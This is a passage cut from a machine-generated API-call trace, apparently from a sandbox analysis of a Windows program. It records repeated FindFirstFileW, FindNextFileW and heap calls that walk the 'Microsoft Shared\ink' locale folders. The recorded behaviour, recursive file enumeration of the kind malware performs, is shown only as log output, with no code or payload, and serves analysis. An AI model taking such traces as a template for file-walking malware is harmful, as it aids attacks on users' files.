ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0165.908] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0165.909] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0165.909] GetProcessHeap () returned 0x6a0000 [0165.909] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.909] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.909] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.909] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.909] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.909] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.911] GetProcessHeap () returned 0x6a0000 [0165.911] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.911] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0165.913] GetProcessHeap () returned 0x6a0000 [0165.913] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.914] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.914] GetProcessHeap () returned 0x6a0000 [0165.914] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.915] GetProcessHeap () returned 0x6a0000 [0165.915] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.915] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.915] GetProcessHeap () returned 0x6a0000 [0165.915] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.915] GetProcessHeap () returned 0x6a0000 [0165.915] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.917] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.917] GetProcessHeap () returned 0x6a0000 [0165.917] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.917] GetProcessHeap () returned 0x6a0000 [0165.917] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.918] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.918] GetProcessHeap () returned 0x6a0000 [0165.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.918] GetProcessHeap () returned 0x6a0000 [0165.918] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.918] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.918] GetProcessHeap () returned 0x6a0000 [0165.918] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.919] GetProcessHeap () returned 0x6a0000 [0165.919] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0165.919] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0165.919] GetProcessHeap () returned 0x6a0000 [0165.919] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0165.919] GetProcessHeap () returned 0x6a0000 [0165.919] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3746558 [0165.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.112] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.113] GetProcessHeap () returned 0x6a0000 [0166.113] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3746558 | out: hHeap=0x6a0000) returned 1 [0166.113] GetProcessHeap () returned 0x6a0000 [0166.113] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.114] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.114] GetProcessHeap () returned 0x6a0000 [0166.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.114] GetProcessHeap () returned 0x6a0000 [0166.114] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.115] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.115] GetProcessHeap () returned 0x6a0000 [0166.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.115] GetProcessHeap () returned 0x6a0000 [0166.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0166.115] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0166.115] GetProcessHeap () returned 0x6a0000 [0166.115] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0166.115] GetProcessHeap () returned 0x6a0000 [0166.115] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0166.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.483] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.483] GetProcessHeap () returned 0x6a0000 [0167.483] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.484] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.484] GetProcessHeap () returned 0x6a0000 [0167.484] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.484] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.484] GetProcessHeap () returned 0x6a0000 [0167.484] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.485] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.485] GetProcessHeap () returned 0x6a0000 [0167.485] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.781] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.781] GetProcessHeap () returned 0x6a0000 [0167.781] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.782] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.782] GetProcessHeap () returned 0x6a0000 [0167.782] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.782] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.783] GetProcessHeap () returned 0x6a0000 [0167.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.783] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.783] GetProcessHeap () returned 0x6a0000 [0167.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0167.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common 